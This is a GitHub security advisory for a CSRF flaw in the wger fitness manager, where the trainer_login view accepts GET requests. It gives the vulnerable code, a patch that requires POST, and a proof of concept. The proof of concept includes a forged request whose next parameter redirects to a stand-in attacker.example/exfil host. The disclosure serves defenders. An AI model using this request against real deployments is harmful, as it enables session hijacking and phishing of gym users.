GitHub Advisoryadvisory · PyPI

GHSA-xf64-4pmc-h8qf wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding

MEDIUM Published 2026-10-07 Modified 2026-10-07 Official page ↗
Aliases
CVE-2026-45161
Ecosystem
PyPI
Packages
wger
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-352
Reviewed
2026-10-07

Affected packages

• PyPI wger: <= 2.1 (no fix yet)

Description

Summary The `trainer_login` view in wger accepts GET requests and executes `django_login()` without any CSRF protection, because Django's `CsrfViewMiddleware` only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single `` tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account. Details File: `wger/core/views/user.py`, approximately lines 161-210 ```python VULNERABLE - no @require_POST, no request.method == 'POST' guard CsrfViewMiddleware is bypassed because CSRF enforcement only applies to unsafe HTTP methods (POST, PUT, PATCH, DELETE) def trainer_login(request, user_pk): ... django_login(request, user, backend='django.contrib.auth.backends.ModelBackend') return HttpResponseRedirect(...) ``` Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place `` on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes `django_login()` and issues a new session cookie binding the trainer to the victim user. Playwright-verified in Chromium 147: the SameSite bypass occurs via a `?next=` redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's `302 -> /user/login?next=...` redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action. Affected endpoint: • `GET /en/user//trainer-login` -> `wger.core.views.user.trainer_login` Suggested patch: ```diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py +from django.views.decorators.http import require_POST + @login_required() +@require_POST def trainer_login(request, user_pk): ... • # Move ?next= handling to POST body - never use GET params for • # security-sensitive redirects + next_url = request.POST.get('next', reverse('core:index')) + if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}): + next_url = reverse('core:index') return HttpResponseRedirect(next_url) ``` Requiring POST ensures Django's CSRF middleware validates the `csrfmiddlewaretoken` on every impersonation request, eliminating the CSRF vector. Moving `next` to the POST body also removes the open-redirect surface (submitted separately). PoC Tested on `wger/server:latest` Docker image + Playwright/Chromium 147. Victim: `trainer1` (`gym.gym_trainer` permission). Step 1 - Attacker hosts malicious page: ```html ``` Step 2 - Authenticated trainer loads evil.html. Browser auto-issues: ``` GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1 Host: target Cookie: sessionid=[trainer1_session] (no CSRF token required) ``` Step 3 - Server responds: ``` HTTP/1.1 302 Found Location: //attacker.example/exfil Set-Cookie: sessionid=[alice_session] 200 OK: {"username":"alice",...} ``` Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own `?next=` redirect chain. Impact An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the `?next=` parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks. This CSRF primitive is the delivery vector that unlocks the `trainer_login` scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly. Affected deployments: every wger instance where `gym.gym_trainer` is delegated to non-admin users. Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Related

Alias · CVE (1)

  • CVE-2026-45161 wger is a free, open-source workout and fitness manager. vulnerability

Weakness · CWE (1)

  • CWE-352 Cross-Site Request Forgery weakness

References